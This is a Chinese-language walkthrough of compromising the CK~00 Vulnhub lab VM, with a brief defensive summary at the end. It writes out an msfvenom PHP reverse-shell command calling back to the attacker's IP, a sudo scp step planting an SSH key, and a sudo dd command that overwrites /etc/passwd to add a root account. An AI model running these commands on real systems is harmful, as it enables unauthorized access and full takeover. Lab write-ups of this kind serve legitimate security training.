资讯专栏INFORMATION COLUMN

Vulnhub未知攻焉知防系列四

IT那活儿 / 3222人阅读
Vulnhub未知攻焉知防系列四

Linux提权,如何拿下root

(难度:中级+)

[
前言
]


本文为系列文章第四篇,难度为中级+,本篇难度主要在于linux提权,这里涉及了多种提权方法的思路,一步步研究加上些许变通,最终才拿下root。相信大家在看完前三篇之后,对信息收集应该有所理解了。


[
攻击思路描述
]


1、信息收集:


1)对目标进行端口扫描,探测开放的端口及应用,目标主机开放了22端口和80端口。


2)从80端口(web服务)入手,进行目录扫描,发现首页和wordpress网站,首页为apache的默认页面。先对wordpress进行了扫描,发现可用用户admin,并进行暴力破解,未爆破成功,之后通过弱口令admin登录成功。


3)Wordpress网站上传木马反弹shell,拿到主机第一个据点。


2、提权:


1)遍历系统文件,找到wordpress配置文件,发现了数据库账户密码,进行账户切换,登录到bla用户。


2)通过bla用户下scp的sudo操作,将攻击机的ssh公钥拷贝到靶机的bla1用户目录下,使用ssh登录bla1用户。


3)通过bla1用户下rbash的sudo操作,提权至ck-00用户。


4)通过ck-00用户下dd的sudo操作,添加1个root权限账户并覆盖/etc/passwd,从而提权至root权限。


靶机描述:

VulnerableVM to learn Basics of privilege escalation.

Goal: Your goal will be to get highest privileged user and collect theflag

Virtualbox is recommended for configuring CK~00 box

Feelfree to contact me at @CyberKnight00.


Thisworks better with VirtualBox rather than VMware


靶机地址

靶机ip:192.168.43.126


用到的知识点、工具和漏洞:

  • Nmap:一款开源的端口扫描器,用于端口扫描及服务识别

  • Dirbuster:一款目录扫描器,kali中自带,用于目录探测

  • Wpscan:一款专门扫描wordpress站点的漏洞扫描器

  • Metasploit:集成了大量攻击脚本的安全框架,并固化了利用流程,kali中自带

  • Msfvenom:简称美少妇,用于生成木马的工具,kali中自带

  • wordpress插件反弹shell:wordpress是一款国外免费开源的博客软件和内容管理系统

  • 各种提权方法:scp拷贝ssh公钥,dd添加root权限账户覆盖/etc/passwd


[
01.信息收集
]

主机探测:netdiscover-i eth0 -r 192.168.43.0/24


端口探测及服务识别:nmap-sS -sV -T5 -A 192.168.43.126


当前靶机开放了22和80端口,首先以80的web服务为突破口。

Ofcourse 先扫波目录,这里使用的kali自带的dirbuster

得嘞,又是一个wordpress站点。话不多说,wpscan伺候。

刚打开就是apache的默认页面,之前都掠过这个页面做目录扫描,如今目录扫描未扫出有用的目录,这里就有两个问题了,1.可能字典不够强大,2.在首页查询有用的信息。于是去试了其他的目录字典,还是没有结果,回过头再去认真看看首页。


这里稍微提一下:有些同学可能发现站点没有正常加载,这里可以在/etc/host文件中添加信息,即可正常访问(一般可通过该方法解决)


一般碰见wordpress站点,有几种思路可以去考虑。


  1. wpscan枚举用户名,口令,进入后台上传shell

  2. 通过wpscan枚举出相关插件,通过https://wpvulndb.com查询对应插件版本所具有的漏洞,根据插件的远程命令执行漏洞反弹shell


正好wpscan的结果也出来了,咱们先看一下

没发现啥漏洞或者插件,倒是枚举出了admin用户,那么这里大概率要通过获取口令来打开突破口,一种办法使用通用字典爆破,另一种就是使用cewl收集网页中出现的字符作为字典,再去爆破。这里我选择第二种方式,因为之前有遇到过类似的靶机。


使用命令cewl -w 输出文件

示例:cewhttp://192.168.43.126 -wpass.txt


然后使用wpscan进行爆破
wpscan--url http://192.168.43.126 -U admin -P pass.txt


没发现可用密码,正准备掏出字典进行爆破时,随手去试了下admin:admin,它,竟然就进去了


想不到今天人品爆棚啊,进入后台了,拿shell还不是soeasy啦,wordpress后台拿shell有两种办法,一是添加主题处上传shell,或者更改默认主题的php页面上传shell,二是添加插件处上传shell,或者替换默认插件处的php文件上传shell,两种方法类似,随便用哪一种。


准备用第一种办法,在默认主题处上传shell,发现更新不了。

于是到插件模块中上传shell

发现也无法更新,这里后面多次尝试,发现已启用的插件是更新不了的,未启用的插件是可以进行更新的,于是在未启用的插件里的php文件中写入我们的shell,这个shell使用msfvenom生成

msfvenom -p php/meterpreter/reverse_tcplhost=192.168.43.140 lport=4444 -o shell.php


写入我们的shell,这里注意下面标红处,待会找文件路径会用到,该处为插件名称


下面咱们访问http://ck/wp-content/plugins/smPYlYvIeE/找到shell文件


然后kali准备反弹shell


访问shell文件,拿到shell

拿到shell第1件事就是获取一个标准shell,可通过以下命令获取(ps:python,python3都试一下,有些系统只装了其中1种)


python3-c import pty; pty.spawn("/bin/bash")


[
02.提权
]


下面需要进行提权,因为刚得到的shell权限较低,得想办法获取高权限账户,最终获取root权限。


cat /etc/passwd查看一下系统存在的用户

这里发现有三个用户,但是到这里咱们前面没有拿到有关的信息,现在只能继续信息收集。


先去/home目录下看看,拿到了第一个flag


目前也就先拿个flag慰藉一下自己,由于前期没有相关有用的信息可供提权,在拿到第1个用户权限前,完全是在抓瞎,老老实实翻看各个文件目录。后面去查看wordpress的配置文件找到了mysql的密码


看密码也许是某个用户的密码,然后尝试切换,成功切换到bla用户。


为了方便后续操作,这里选择使用ssh远程上去进行下一步行动


最后就是如何获取root权限,有以下几个思路

  • sudo -l 查询具有sudo权限命令,然后提权

  • SUID提权,find / -perm -u=s -type f 2>/dev/null

  • 通过在/etc/passwd添加一个root权限的账户进行提权

  • find / -writable -type f 2>/dev/null 查找可利用的可写文件

  • 内核提权

  • 其他

这里使用sudo-l 查询有哪些sudo权限命令


看来这里需要通过scp进行提权,scp可以从远程服务器拷贝文件到本地服务器,也可以拷贝本地文件到远程服务器。scp用法具体可参考scp用法。


那么这里就有1个思路了,通过scp将kali的ssh公钥拷贝到bla1的用户目录下,之后即可进行SSH免密码登录从而达到提权的效果,至于ssh密钥如何生成以及如何使用密钥免密码登录,请参考SSH密钥免密码登录。


我这里在kali上生成了密钥,下面标红处为公钥

所以这里可使用以下命令来将kali公钥拷贝到bla1用户目录下

sudo-u bla1 scp root@192.168.43.140:/root/.ssh/id_rsa.pub

/home/bla1/.ssh/authorized_keys


拷贝成功,注意kali需开启ssh服务,关于kali的ssh配置可在百度上搜索相关教程。

下面就是ssh免密码登录bla1账户了


Bingo!,继续sudo-l进行查询


这里使用rbash提权,网上查询资料,rbash是一个受限的shell环境,具体提权,这里只需使用下述命令即可
sudo-u ck-00 rbash


拿到了ck-00账户权限,由于使用rbash提权上来的,现在的shell环境是受限。

可以发现很多命令无法使用,下面截图展示


还是先sudo-l 查询下

这里需使用dd提权,具体提权方法也不太清楚,还是推荐之前的1个网站

各种提权命令集合。不过该网站最近访问有时访问不了,可能是网络原因。我这里把提权方法给复制下来了
Sudo

Itruns in privileged context and may be used to access the file system,escalate or maintain access with elevated privileges if enabled onsudo.

使用下面命令可提权

LFILE=file_to_write

echo"data" | sudo -E dd of=$LFILE


刚才导致的错误是由于sudo的-E参数造成的,这里只需去掉-E参数即可。


好像也没有提权成功呀,查看了下当前目录

发现在当前目录下生成了file_to_write,里面内容为data。我立马领悟了,这里可以通过该命令在任意文件中写入内容。那么提权路子就来了。


咱们可以在/etc/passwd文件中添加1个root权限账户,从而来提权。于是立马就开干。这里有个小坑,大家要注意,我先给填上,后面我再来讲述。

这里咱们先查询一下/etc/passwd

把里面所有内容复制下来,再在后面添加一个用户,用户密码由使用以下命令生成


LFILE=/etc/passwd

echo"root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:MailingList Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:GnatsBug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

systemd-network:x:100:102:systemdNetwork Management,,,:/run/systemd/netif:/usr/sbin/nologin

systemd-resolve:x:101:103:systemdResolver,,,:/run/systemd/resolve:/usr/sbin/nologin

syslog:x:102:106::/home/syslog:/usr/sbin/nologin

messagebus:x:103:107::/nonexistent:/usr/sbin/nologin

_apt:x:104:65534::/nonexistent:/usr/sbin/nologin

lxd:x:105:65534::/var/lib/lxd/:/bin/false

uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin

dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin

landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin

pollinate:x:109:1::/var/cache/pollinate:/bin/false

ck-00:x:1000:1000:CyberKnight:/home/ck:/bin/bash

sshd:x:110:65534::/run/sshd:/usr/sbin/nologin

mysql:x:111:115:MySQLServer,,,:/nonexistent:/bin/false

bla1:x:1001:1001:Bla1,01,0000,0001:/home/bla1:/bin/bash

bla:x:1002:1002:bla,0000,0000,0000:/home/bla:/bin/bash

dawn:FipxP14Sy8yNc:0:0:root:/root:/bin/bash"(ps填坑:这里先输入这个,然后手动输入后面的命令,不然会报错,稍有不慎更会损坏/etc/passwd文件,那就GG,执行这步前可以先备份)

"| sudo dd of=$LFILE

执行成功,咱们再来看看/etc/passwd内容

已经添加用户dawn,咱们来切换一下

拿到root,剩下读取最后的flag


[
03.防护总结
]
  1. 一定要注意弱口令

  2. 口令共用问题,对于数据库账户与系统账户应设置不同的密码

  3. Sudo权限需要合规配置

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/130057.html

相关文章

  • [系统安全] 三十五.Procmon工具基本用法及文件进程、注册表查看

    摘要:本文将分享软件基本用法及文件进程注册表查看,这是一款微软推荐的系统监视工具,功能非常强大可用来检测恶意软件。可以帮助使用者对系统中的任何文件注册表操作进行监视和记录,通过注册表和文件读写的变化,有效帮助诊断系统故障或发现恶意软件病毒及木马。 ...

    kk_miles 评论0 收藏0

发表评论

0条评论

IT那活儿

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<